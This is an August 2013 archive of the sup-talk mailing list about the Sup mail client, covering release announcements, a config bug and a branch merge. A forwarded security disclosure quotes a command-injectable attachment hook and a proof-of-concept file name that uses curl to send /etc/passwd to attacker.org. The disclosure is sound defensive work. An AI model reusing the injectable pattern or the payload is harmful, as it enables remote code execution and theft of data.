community/pipermail-archives/sup-talk/2013-08.txt (24068B) - raw
1 From adam.bogacki@clear.net.nz Fri Aug 2 21:38:33 2013
2 From: adam.bogacki@clear.net.nz (Adam Bogacki)
3 Date: Sat, 03 Aug 2013 09:38:33 +1200
4 Subject: [sup-talk] Release Sup 0.13.1
5 In-Reply-To: <mailman.20.1375449469.10946.sup-talk@rubyforge.org>
6 References: <mailman.20.1375449469.10946.sup-talk@rubyforge.org>
7 Message-ID: <51FC26D9.5020708@clear.net.nz>
8
9
10 -----BEGIN PGP SIGNED MESSAGE-----
11 Hash: SHA1
12
13 On 03/08/13 01:17, sup-talk-request at rubyforge.org wrote:
14
15 It's good to see signs of life on this list.
16
17 I was getting used to sup-mail on debian wheezy, then sid, but then one
18 day I received
19
20 > adam at Candide:~$ sup-mail
21 > /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': iconv
22 will be deprecated in the future, use String#encode instead.
23 > [2013-08-03 07:58:08 +1200] ERROR: oh crap, an exception
24 > ----------------------------------------------------------------
25 > I'm very sorry. It seems that an error occurred in Sup. Please
26 > accept my sincere apologies. Please submit the contents of
27 > /home/adam/.sup/exception-log.txt and a brief report of the
28 > circumstances to http://masanjin.net/sup-bugs/ so that I might
29 > address this problem. Thank you!
30 >
31 > Sincerely,
32 > William
33 > ----------------------------------------------------------------
34 > --- TypeError from thread: main
35 > can't convert String into Array
36 > /usr/lib/ruby/vendor_ruby/sup/account.rb:64:in `add_account'
37 > /usr/lib/ruby/vendor_ruby/sup/account.rb:38:in `initialize'
38 > /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `new'
39 > /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `init'
40 > /usr/lib/ruby/vendor_ruby/sup.rb:166:in `start'
41 > /usr/bin/sup-mail:164:in `<module:Redwood>'
42 > /usr/bin/sup-mail:80:in `<main>'
43 > adam at Candide:~$
44 .. and it has been that way ever since.
45
46 Can anyone explain what is happening and recommend a fix ?
47
48 Hang in there guys, many now polished projects have had rocky beginnings ..
49
50 Regards,
51
52 Adam Bogacki,
53 adam.bogacki at clear.net.nz
54 -----BEGIN PGP SIGNATURE-----
55 Version: GnuPG v1.4.14 (GNU/Linux)
56 Comment: Using GnuPG with Icedove - http://www.enigmail.net/
57
58 iQEcBAEBAgAGBQJR/CbHAAoJELXBCnrK+Nj6ftQH/15Io+NN72Sqmgj0yNoNSTyV
59 t7rttkqbbp42WFrtOqH9lSjdkcMwpdEDENkhDfsRckjcSbGHsQwGOJXCE9iBUWwT
60 rYvSqtcRTJS3keW0JAEX3hdauWIoSaqzVHCNJn6GM/YIScf6mwWddE8IP2Sil7SH
61 AfBTwIlCSNQcPR6Tdyj5V8bXgIHw0j7V4GW0QyE+ijeGub3JOBDXg7tUERM/qR9j
62 PzBPfQ25YMEMq8E8LBK6y/yNk8jxc2Q1FZrqwL17+hfJUeFzzAXQp8kzJzk/uVPI
63 EqHK38KULOGS3h1T77x1XQXj7AjpUv/RneCYuoZo6YhXMuxg4YjKYGXVY6VuzY8=
64 =7kB3
65 -----END PGP SIGNATURE-----
66
67 -------------- next part --------------
68 An HTML attachment was scrubbed...
69 URL: <http://rubyforge.org/pipermail/sup-talk/attachments/20130803/a9a536b8/attachment.html>
70
71 From eg@gaute.vetsj.com Fri Aug 2 22:38:09 2013
72 From: eg@gaute.vetsj.com (Gaute Hope)
73 Date: Sat, 03 Aug 2013 00:38:09 +0200
74 Subject: [sup-talk] Release Sup 0.13.1
75 In-Reply-To: <51FC26D9.5020708@clear.net.nz>
76 References: <mailman.20.1375449469.10946.sup-talk@rubyforge.org>
77 <51FC26D9.5020708@clear.net.nz>
78 Message-ID: <51FC34D1.9050302@gaute.vetsj.com>
79
80 -----BEGIN PGP SIGNED MESSAGE-----
81 Hash: SHA1
82
83
84
85 On 02. aug. 2013 23:38, Adam Bogacki wrote:
86 >
87 > On 03/08/13 01:17, sup-talk-request at rubyforge.org wrote:
88 >
89 > It's good to see signs of life on this list.
90 >
91 > I was getting used to sup-mail on debian wheezy, then sid, but then
92 > one day I received
93 >
94 >> adam at Candide:~$ sup-mail
95 >> /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require':
96 >> iconv
97 > will be deprecated in the future, use String#encode instead.
98 >> [2013-08-03 07:58:08 +1200] ERROR: oh crap, an exception
99 >> ----------------------------------------------------------------
100 >> I'm very sorry. It seems that an error occurred in Sup. Please
101 >> accept my sincere apologies. Please submit the contents of
102 >> /home/adam/.sup/exception-log.txt and a brief report of the
103 >> circumstances to http://masanjin.net/sup-bugs/ so that I might
104 >> address this problem. Thank you!
105 >
106 >> Sincerely, William
107 >> ----------------------------------------------------------------
108 >> --- TypeError from thread: main can't convert String into Array
109 >> /usr/lib/ruby/vendor_ruby/sup/account.rb:64:in `add_account'
110 >> /usr/lib/ruby/vendor_ruby/sup/account.rb:38:in `initialize'
111 >> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `new'
112 >> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `init'
113 >> /usr/lib/ruby/vendor_ruby/sup.rb:166:in `start'
114 >> /usr/bin/sup-mail:164:in `<module:Redwood>'
115 >> /usr/bin/sup-mail:80:in `<main>' adam at Candide:~$
116 > .. and it has been that way ever since.
117 >
118 > Can anyone explain what is happening and recommend a fix ?
119
120 Hi, I think this is fixed in the latest release (there might be a
121 problem with sources.yaml). Try installing via gem.
122
123 Regards, Gaute
124
125 -----BEGIN PGP SIGNATURE-----
126 Version: GnuPG v2.0.20 (GNU/Linux)
127 Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/
128
129 iQIcBAEBAgAGBQJR/DTRAAoJEJgnp+igdJAjRlYP/iTISP47irKhXc4KsRPq7RTu
130 QAbaMEwGvMTdE8E3Lq+wuB1ikbs9elYrWbqzatv1F2K0jcc8II73KYNOexFBhlSZ
131 MGDPB/N9KP1XIeDYMuJ/TE1zfaW25GZevjahpVjkQj/XBh/YfV66dFPLWb7HReEb
132 wpmSz8BDoLvQwGJ6Ydl/2BhR9g0JlCvMeuAjYNn135QjzBeCM5QvGQHtH6JGIexx
133 pV1EI1hTelRfL9spnOWpzar5C1trxlh/evlfp0xG5wIAjt+hmgrdWezNv+P6YF6/
134 Ul2KwcLx0T3ObchjRGKWUMyUqPY7593Xby1UMK6ll+Zqs0eFutGoEUhGPri/gxQJ
135 MfXZ3M/ZKPoTBk2xsIEUIH1oRRwgjdglIgy9easagjKjF51ZJu55K01DtXJMKsqD
136 DWkLw1AN92KH8Sb6eutpjHiUxoC+Rwj0d/mtD9paVDljL7Iie5lSKl6LVVhfZKG7
137 WKiGDoO081IhYwsbT6ORLJ2/NJr0PF4VWIBBs8xdOD37dLbznzFT56i3+NO8sjK0
138 MPnqVxc4ZK+/ezUpMZ8vFY3OZeECUq1UqZeOkaV6SbhgQmK+J+Mpi36HI/rqWy1C
139 l2oS00GS9xkhbAt3If56D1WbqiOdgwntUwljNoRupxRdAbugL/d+EzK24fDHaxbM
140 apXcVpArB3Qs3/QIh5us
141 =c2xe
142 -----END PGP SIGNATURE-----
143
144 From eg@gaute.vetsj.com Sat Aug 3 09:36:24 2013
145 From: eg@gaute.vetsj.com (Gaute Hope)
146 Date: Sat, 03 Aug 2013 11:36:24 +0200
147 Subject: [sup-talk] Release Sup 0.13.1
148 In-Reply-To: <51FC34D1.9050302@gaute.vetsj.com>
149 References: <mailman.20.1375449469.10946.sup-talk@rubyforge.org>
150 <51FC26D9.5020708@clear.net.nz> <51FC34D1.9050302@gaute.vetsj.com>
151 Message-ID: <51FCCF18.1040807@gaute.vetsj.com>
152
153
154
155 On 03. aug. 2013 00:38, Gaute Hope wrote:
156 > On 02. aug. 2013 23:38, Adam Bogacki wrote:
157 >>> adam at Candide:~$ sup-mail
158 >>> /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require':
159 >>> iconv
160 >> will be deprecated in the future, use String#encode instead.
161 >>> [2013-08-03 07:58:08 +1200] ERROR: oh crap, an exception
162 >>> ----------------------------------------------------------------
163 >>> I'm very sorry. It seems that an error occurred in Sup. Please
164 >>> accept my sincere apologies. Please submit the contents of
165 >>> /home/adam/.sup/exception-log.txt and a brief report of the
166 >>> circumstances to http://masanjin.net/sup-bugs/ so that I might
167 >>> address this problem. Thank you!
168 >
169 >>> Sincerely, William
170 >>> ----------------------------------------------------------------
171 >>> --- TypeError from thread: main can't convert String into Array
172 >>> /usr/lib/ruby/vendor_ruby/sup/account.rb:64:in `add_account'
173 >>> /usr/lib/ruby/vendor_ruby/sup/account.rb:38:in `initialize'
174 >>> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `new'
175 >>> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `init'
176 >>> /usr/lib/ruby/vendor_ruby/sup.rb:166:in `start'
177 >>> /usr/bin/sup-mail:164:in `<module:Redwood>'
178 >>> /usr/bin/sup-mail:80:in `<main>' adam at Candide:~$
179 >> .. and it has been that way ever since.
180 >
181 >> Can anyone explain what is happening and recommend a fix ?
182 >
183 > Hi, I think this is fixed in the latest release (there might be a
184 > problem with sources.yaml). Try installing via gem.
185
186 On close inspection it seems this is a separate issue (originally though
187 of #42 [0]). Would you mind pastebinning/posting your config.yaml
188 (anonymized)? It seems like something in the account configuration is
189 triggering the error. Also, what version are you running of sup?
190
191 Feel free to open an issue at: https://github.com/sup-heliotrope/sup
192
193 Regards, Gaute
194
195 [0] https://github.com/sup-heliotrope/sup/pull/42
196
197 From eg@gaute.vetsj.com Sat Aug 3 09:47:59 2013
198 From: eg@gaute.vetsj.com (Gaute Hope)
199 Date: Sat, 03 Aug 2013 11:47:59 +0200
200 Subject: [sup-talk] Release Sup 0.13.1
201 In-Reply-To: <51FCCF18.1040807@gaute.vetsj.com>
202 References: <mailman.20.1375449469.10946.sup-talk@rubyforge.org>
203 <51FC26D9.5020708@clear.net.nz> <51FC34D1.9050302@gaute.vetsj.com>
204 <51FCCF18.1040807@gaute.vetsj.com>
205 Message-ID: <51FCD1CF.7010708@gaute.vetsj.com>
206
207 On 03. aug. 2013 11:36, Gaute Hope wrote:
208 > On 03. aug. 2013 00:38, Gaute Hope wrote:
209 >> On 02. aug. 2013 23:38, Adam Bogacki wrote:
210 ------------
211 >>>> --- TypeError from thread: main can't convert String into Array
212 >>>> /usr/lib/ruby/vendor_ruby/sup/account.rb:64:in `add_account'
213 >>>> /usr/lib/ruby/vendor_ruby/sup/account.rb:38:in `initialize'
214 >>>> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `new'
215 >>>> /usr/lib/ruby/vendor_ruby/sup/util.rb:576:in `init'
216 >>>> /usr/lib/ruby/vendor_ruby/sup.rb:166:in `start'
217 >>>> /usr/bin/sup-mail:164:in `<module:Redwood>'
218 >>>> /usr/bin/sup-mail:80:in `<main>' adam at Candide:~$
219 >>> .. and it has been that way ever since.
220 >>
221 >>> Can anyone explain what is happening and recommend a fix ?
222
223 The problem is likely an incorrectly set up :alternates: in config.yaml,
224 it should be of the format:
225
226 :alternates:
227 - email2 at asdf.asdf
228 - email3 at asdf.as
229
230 if it is set up like:
231 :alternates: asdfa at adsf.asdf
232
233 if will fail. A more descriptive error message should be shown with the
234 patch in pull request #119 [0]. Please test it if you have the chance,
235 otherwise let me know if changing config.yaml did the trick.
236
237 [0] https://github.com/sup-heliotrope/sup/pull/119
238
239 Cheers, Gaute
240
241 From eg@gaute.vetsj.com Thu Aug 15 08:33:23 2013
242 From: eg@gaute.vetsj.com (Gaute Hope)
243 Date: Thu, 15 Aug 2013 10:33:23 +0200
244 Subject: [sup-talk] Sup Release 0.14.0
245 Message-ID: <1376554850-sup-6592@qwerzila>
246
247 Greetings,
248
249 I have just release Sup 0.14.0 which contains a lot of updates. Check
250 out the Release Notes below for more details.
251
252 Important:
253 - This release does no longer work on Ruby 1.8.
254 - Configuration files must be migrated from Sup 0.13 [1].
255 - Read the migration notice [1].
256
257 If you are not feeling very adventurous, stay with Sup 0.13 for a little
258 while yet. Remember to back up your current ~/.sup before upgrading in
259 case you need to downgrade.
260
261 Happy sup! Thanks to all the contributors and testers!
262
263 Check the wiki for installation instructions [2] or just do a:
264
265 $ gem install sup
266
267 Report issues to our tracker at GitHub [3].
268
269
270 Cheers, Gaute
271
272 [1] https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14
273 [2] https://github.com/sup-heliotrope/sup/wiki/
274 [3] https://github.com/sup-heliotrope/sup/issues
275
276
277 == Release Notes ==
278 CJK-compatability, Psych usage, thread safety, GPGME 2.0 support. Sup is now
279 Ruby 1.9 based, and apart from RMail - ready for Ruby 2.0.0.
280
281 Sup now uses Psych as a YAML parser (default by Ruby) and your previous
282 configuration files (~/.sup/*.yaml) may need to be migrated or re-created for
283 them to work with the new sup. A migration script is included for this.
284
285 Check https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14 for
286 the latest instructions.
287
288 First back up your ~/.sup directory and index, after installing the new sup
289 run:
290
291 $ sup-psych-ify-config-files
292
293 to migrate your files. You should now be all set for buisness.
294
295
296
297 From eric.weikl@gmx.net Thu Aug 15 13:22:14 2013
298 From: eric.weikl@gmx.net (Eric Weikl)
299 Date: Thu, 15 Aug 2013 15:22:14 +0200
300 Subject: [sup-talk] Is maildir-sync ready for prime time?
301 In-Reply-To: <1366143381-sup-8459@mint>
302 References: <CAHsqw9sqBv-5zkdKhPcOwzi-qpe250U3ksHAvgwTENJ8EtozFA@mail.gmail.com>
303 <CAOxvSbfuBUYc7fTS=Ov2gBi6JtCkhmy8YVP3iUXwENnmLdzH3Q@mail.gmail.com>
304 <51692285.8000709@gaute.vetsj.com>
305 <CAHsqw9ue9AqTO4OxVDUzb-3u7GShxZRmjPDNzwJQVtsZi_3icw@mail.gmail.com>
306 <51695AF1.2070701@gaute.vetsj.com>
307 <CAHsqw9v46_d+n=XUeg76zmws+kjtit3SfQ59NZtTxMYrJ8F1Vg@mail.gmail.com>
308 <5169925C.1060701@gaute.vetsj.com>
309 <516997BD.7010409@gaute.vetsj.com> <1365938152-sup-6420@mint>
310 <516A9BA0.7040906@gaute.vetsj.com> <1366143381-sup-8459@mint>
311 Message-ID: <1376572537-sup-83@mint>
312
313 Hi fellow sup users,
314
315 the maildir-sync branch has been hanging around for quite a while. Since
316 sup 0.14.0 is out now, we could consider merging it into the developer
317 branch. I've been using the branch continuously and haven't encountered
318 any problems so far.
319
320 Has anyone else tried the branch, or is willing to do so? It would be
321 great to have some more opinions on it.
322
323 Gaute created a corresponding pull request here:
324 https://github.com/sup-heliotrope/sup/pull/126
325
326 Cheers,
327 Eric
328
329 On 04/16/2013 22:30:26, Eric Weikl wrote:
330 > Hi everyone,
331 >
332 > I created a new branch with all the commits from Damien Leone and
333 > Edward Yang related to maildir syncback and put it here:
334 >
335 > https://github.com/sup-heliotrope/sup/tree/maildir-sync
336 >
337 > I skipped some advanced stuff like Edward's inotify support for now. We
338 > can add that later.
339 >
340 > I performed some basic testing, but it would be great if some more
341 > people could give it a try. There's some documentation in the wiki:
342 >
343 > https://github.com/sup-heliotrope/sup/wiki/Maildir-Syncback
344 >
345 > Cheers,
346 > Eric
347
348 From steven@schmeiser.org Thu Aug 15 13:35:17 2013
349 From: steven@schmeiser.org (Steven Schmeiser)
350 Date: Thu, 15 Aug 2013 09:35:17 -0400
351 Subject: [sup-talk] Is maildir-sync ready for prime time?
352 In-Reply-To: <1376572537-sup-83@mint>
353 References: <CAHsqw9sqBv-5zkdKhPcOwzi-qpe250U3ksHAvgwTENJ8EtozFA@mail.gmail.com>
354 <CAOxvSbfuBUYc7fTS=Ov2gBi6JtCkhmy8YVP3iUXwENnmLdzH3Q@mail.gmail.com>
355 <51692285.8000709@gaute.vetsj.com>
356 <CAHsqw9ue9AqTO4OxVDUzb-3u7GShxZRmjPDNzwJQVtsZi_3icw@mail.gmail.com>
357 <51695AF1.2070701@gaute.vetsj.com>
358 <CAHsqw9v46_d+n=XUeg76zmws+kjtit3SfQ59NZtTxMYrJ8F1Vg@mail.gmail.com>
359 <5169925C.1060701@gaute.vetsj.com>
360 <516997BD.7010409@gaute.vetsj.com> <1365938152-sup-6420@mint>
361 <516A9BA0.7040906@gaute.vetsj.com> <1366143381-sup-8459@mint>
362 <1376572537-sup-83@mint>
363 Message-ID: <1376573604-sup-1651@indy.local>
364
365 I've been using the maildir-sync branch for a month or so and have not encountered any problems. I also vote for a merge.
366
367 Steve
368
369 > Hi fellow sup users,
370 >
371 > the maildir-sync branch has been hanging around for quite a while. Since
372 > sup 0.14.0 is out now, we could consider merging it into the developer
373 > branch. I've been using the branch continuously and haven't encountered
374 > any problems so far.
375 >
376 > Has anyone else tried the branch, or is willing to do so? It would be
377 > great to have some more opinions on it.
378 >
379 > Gaute created a corresponding pull request here:
380 > https://github.com/sup-heliotrope/sup/pull/126
381 >
382 > Cheers,
383 > Eric
384 >
385 > On 04/16/2013 22:30:26, Eric Weikl wrote:
386 > > Hi everyone,
387 > >
388 > > I created a new branch with all the commits from Damien Leone and
389 > > Edward Yang related to maildir syncback and put it here:
390 > >
391 > > https://github.com/sup-heliotrope/sup/tree/maildir-sync
392 > >
393 > > I skipped some advanced stuff like Edward's inotify support for now. We
394 > > can add that later.
395 > >
396 > > I performed some basic testing, but it would be great if some more
397 > > people could give it a try. There's some documentation in the wiki:
398 > >
399 > > https://github.com/sup-heliotrope/sup/wiki/Maildir-Syncback
400 > >
401 > > Cheers,
402 > > Eric
403 -------------- next part --------------
404 A non-text attachment was scrubbed...
405 Name: signature.asc
406 Type: application/pgp-signature
407 Size: 841 bytes
408 Desc: not available
409 URL: <http://rubyforge.org/pipermail/sup-talk/attachments/20130815/d3f36b0b/attachment.bin>
410
411 From matthieu.rakotojaona@gmail.com Thu Aug 15 18:30:52 2013
412 From: matthieu.rakotojaona@gmail.com (Matthieu Rakotojaona)
413 Date: Thu, 15 Aug 2013 20:30:52 +0200
414 Subject: [sup-talk] Sup Release 0.14.0
415 In-Reply-To: <1376554850-sup-6592@qwerzila>
416 References: <1376554850-sup-6592@qwerzila>
417 Message-ID: <1376588663-sup-4993@kpad>
418
419 Thank you !
420
421 I've tried the install sup via the gem on a naked machine and I've faced
422 a few problems:
423
424 * There is a bug in rubymail as pointed in [0]. I see it hasn't been
425 merged yet and doubt it will ever be. I replaced the upstream one with
426 the one from your repo (1) and it works as needed. Can we use a
427 rmail-sup, specific to us, just for the time we use this lib, just
428 like ncursesw-sup ?
429
430 * There was a problem with the unicode gem. I had an old version of
431 gem running (you need >= 2.0.2 as stated in [2] and followings). Here
432 are the steps that fixed the problem:
433
434 Update gem:
435 $ sudo gem update --system
436
437 Reinstall the unicode gem:
438 $ gem uninstall unicode
439 $ gem install unicode
440
441 * Those damn encoding problems struck me. We're trying to fix_encoding a
442 bunch of Strings here and there and one of them at least is a frozen
443 string so it doesn't work. See PR130 [3] for this.
444
445 Apart from that, it works well. Thank you guys for the hard work !
446 You're making me ashamed of not being very participative in this,
447 though :)
448
449 [0] https://github.com/matta/rubymail/pull/2
450 [1] https://github.com/gauteh/rubymail
451 [2] https://github.com/blackwinter/unicode/issues/4#issuecomment-14086773
452 [3] https://github.com/sup-heliotrope/sup/pull/130
453
454 --
455 Matthieu Rakotojaona
456 -------------- next part --------------
457 A non-text attachment was scrubbed...
458 Name: signature.asc
459 Type: application/pgp-signature
460 Size: 836 bytes
461 Desc: not available
462 URL: <http://rubyforge.org/pipermail/sup-talk/attachments/20130815/cc230eef/attachment.bin>
463
464 From eg@gaute.vetsj.com Thu Aug 15 21:36:45 2013
465 From: eg@gaute.vetsj.com (Gaute Hope)
466 Date: Thu, 15 Aug 2013 23:36:45 +0200
467 Subject: [sup-talk] Sup Release 0.14.0
468 In-Reply-To: <1376588663-sup-4993@kpad>
469 References: <1376554850-sup-6592@qwerzila>
470 <1376588663-sup-4993@kpad>
471 Message-ID: <1376602282-sup-4187@qwerzila>
472
473 Excerpts from Matthieu Rakotojaona's message of 2013-08-15 20:30:52 +0200:
474 > Thank you !
475 >
476 > I've tried the install sup via the gem on a naked machine and I've faced
477 > a few problems:
478 >
479 > * There is a bug in rubymail as pointed in [0]. I see it hasn't been
480 > merged yet and doubt it will ever be. I replaced the upstream one with
481 > the one from your repo (1) and it works as needed. Can we use a
482 > rmail-sup, specific to us, just for the time we use this lib, just
483 > like ncursesw-sup ?
484
485 Yeah, was a bit hesitant to go there, but I guess it is reasonably
486 sensible fix :) I'm OK with it. I would rather see us get Mail running
487 (writing this email from the use-mail branch, seamlessly using RMail on
488 the same index), but it is still a while to go..
489
490 > * There was a problem with the unicode gem. I had an old version of
491 > gem running (you need >= 2.0.2 as stated in [2] and followings). Here
492 > are the steps that fixed the problem:
493 >
494 > Update gem: $ sudo gem update --system
495 >
496 > Reinstall the unicode gem: $ gem uninstall unicode $ gem install
497 > unicode
498
499 Ah nice catch, we should put this somewhere in the wiki..! troubleshooting?
500
501 > * Those damn encoding problems struck me. We're trying to fix_encoding a
502 > bunch of Strings here and there and one of them at least is a frozen
503 > string so it doesn't work. See PR130 [3] for this.
504
505 Nice, its extremly hackishy, but those mails and user inputs just don't
506 make any sense.. :D Your PR should be good to merge.
507
508 > Apart from that, it works well. Thank you guys for the hard work !
509 > You're making me ashamed of not being very participative in this,
510 > though :)
511
512 Yey, thanks!
513
514 Cheers, Gaute
515
516
517 From eg@gaute.vetsj.com Sun Aug 18 18:14:38 2013
518 From: eg@gaute.vetsj.com (Gaute Hope)
519 Date: Sun, 18 Aug 2013 20:14:38 +0200
520 Subject: [sup-talk] Fwd: Security issue with suggested configuration of sup
521 Message-ID: <1376849419-sup-8191@qwerzila>
522
523 Greetings suppers,
524
525 joernchen has pointed out to me that our suggested hook for viewing html
526 attachment has a serious security issue. The updated suggestion in [0] (wiki)
527 should be safer.
528
529
530 Please make sure that you update your mime-decode hook!
531
532
533 Best regards, Gaute
534
535
536
537 [0] https://github.com/sup-heliotrope/sup/wiki/Viewing-Attachments
538
539
540
541 --- Begin forwarded message from joernchen ---
542 From: joernchen <...>
543 To: eg <eg at gaute.vetsj.com>
544 Date: Sat, 17 Aug 2013 14:14:29 +0200
545 Subject: Security issue with suggested configuration of sup
546
547 [...]
548
549 At [0] the suggested configuration for viewing HTML attachments with
550 sup using the mime-decode hook is given as follows:
551
552 unless sibling_types.member? "text/plain"
553 case content_type
554 when "text/html"
555 `/usr/bin/w3m -dump -T #{content_type} '#{filename}'`
556 end
557 end
558
559 This piece of code however is prone to command injection via the file
560 name of the attached file. The command injection triggers upon sup
561 indexing the mail, so no user interaction is needed.
562
563 A better approach would be the following:
564
565 require 'shellwords'
566 unless sibling_types.member? "text/plain"
567 case content_type
568 when "text/html"
569 `/usr/bin/w3m -dump -T #{content_type} #{Shellwords.escape filename}`
570 end
571 end
572
573 [...]
574
575 A simple PoC would be sending an email with a file attachment named
576 like:
577
578 '$(cd .. && cd .. && cd .. && cd .. && cd etc && curl --data @passwd attacker.org)'.html
579
580 to a sup user making use of the suggested decode hook.
581
582 [0] https://github.com/sup-heliotrope/sup/wiki/Viewing-Attachments
583
584 [...]
585
586 From adam.bogacki@clear.net.nz Thu Aug 22 23:41:58 2013
587 From: adam.bogacki@clear.net.nz (Adam Bogacki)
588 Date: Fri, 23 Aug 2013 11:41:58 +1200
589 Subject: [sup-talk] Problem adding sources from icedove, aka 'thunderbird'
590 Message-ID: <5216A1C6.5030300@clear.net.nz>
591
592
593 -----BEGIN PGP SIGNED MESSAGE-----
594 Hash: SHA1
595
596 Hi, the example given at
597
598 https://github.com/sup-heliotrope/sup/wiki/Thunderbird-Import
599
600 is
601
602 | `ls mdirs`.split("\n").each {|dir| `ls mdirs/#{dir}`.split("\n").each
603 {|mdir| `sup-add -ul #{dir.downcase},#{mdir.downcase}
604 maildir:/home/dave/Mailstore/mdirs/#{dir}/#{mdir}`}}
605
606 but my icedove directory is
607
608 /home/adam/.icedove/9zurob0v.default/Mail/mdirs/smart
609 mailboxes/Mailstore:~$ ls
610 cur new tmp
611
612 What, in this case, is the correct way to add it to sup ?|
613
614 Regards,
615
616 Adam.
617
618 - --
619 Adam Bogacki
620
621 adam.bogacki at clear.net.nz
622
623 http://www.independent.academia.edu/AdamBogacki
624 -----BEGIN PGP SIGNATURE-----
625 Version: GnuPG v1.4.14 (GNU/Linux)
626 Comment: Using GnuPG with Icedove - http://www.enigmail.net/
627
628 iQEcBAEBAgAGBQJSFqG0AAoJELXBCnrK+Nj6ESQH/0E+20kRsEdFFkpFsnLIR26i
629 GlWdbrxNKsw7lfX7JJja+gnceyvI6l9zaX1vM3f9rad7y/YQ9Gfbh+9Hp0R0Y1wi
630 4ZTCO2kNRnZc0fjluGmtMeUMAUdGKfFqJLxD4bKkvQWCd8SO72ubFz3usQBIAi3m
631 IX2ZTWblH39HFyc0Cd60aGfkWLEHNsrA8TKxiN1KOLnT8Ryiula4f4hEWzfebRyz
632 c/4nZouuCqFNDMUhFo7lp/XoBwZqfMNtlGtBKOrQ/LmRzEL2AlJJlqRyvd/FnIXe
633 uFmEBYDpEYE5X4IYGfcIEk558fIdMvqNYg5PUkY+LXMFXl58bU0DhTlORriF10Q=
634 =b63b
635 -----END PGP SIGNATURE-----
636
637 -------------- next part --------------
638 An HTML attachment was scrubbed...
639 URL: <http://rubyforge.org/pipermail/sup-talk/attachments/20130823/df007871/attachment.html>
640
641 From eg@gaute.vetsj.com Sat Aug 31 16:27:03 2013
642 From: eg@gaute.vetsj.com (Gaute Hope)
643 Date: Sat, 31 Aug 2013 18:27:03 +0200
644 Subject: [sup-talk] Release 0.14.1
645 Message-ID: <1377965598-sup-8230@qwerzila>
646
647 Hi all,
648
649 Release 0.14.1 is out. This is a service release to 0.14.0 + one
650 small feature, a pre-defined 'All mail' search.
651
652 Important: If you are upgrading from a Sup version previous 0.14.0
653 please read the migration instructions in the wiki [0].
654
655 Installation instructions for various platforms are also described in
656 the wiki [1].
657
658 Please report any issues you encounter to our GitHub issue tracker [2].
659
660
661 We hope to get maildir-syncback (which Eric Weikl is maintaining) merged
662 in for the next release 0.14.2, call out if you have tested or run the
663 maildir-syncback branch. We would very much appreciate your experineces
664 (good ones! or bad ones!), the tracking issue is here:
665
666 https://github.com/sup-heliotrope/sup/pull/126
667
668 Thanks to those that have already reported their experiences, as well as
669 all the contributors to sup (code [3], issues, maintenance and
670 support!).
671
672
673
674 Cheers, Gaute
675
676
677 [0] https://github.com/sup-heliotrope/sup/wiki/Migration-0.13-to-0.14
678 [1] https://github.com/sup-heliotrope/sup/wiki
679 [2] https://github.com/sup-heliotrope/sup/issues
680 [3] https://github.com/sup-heliotrope/sup/blob/release-0.14.1/CONTRIBUTORS
681
682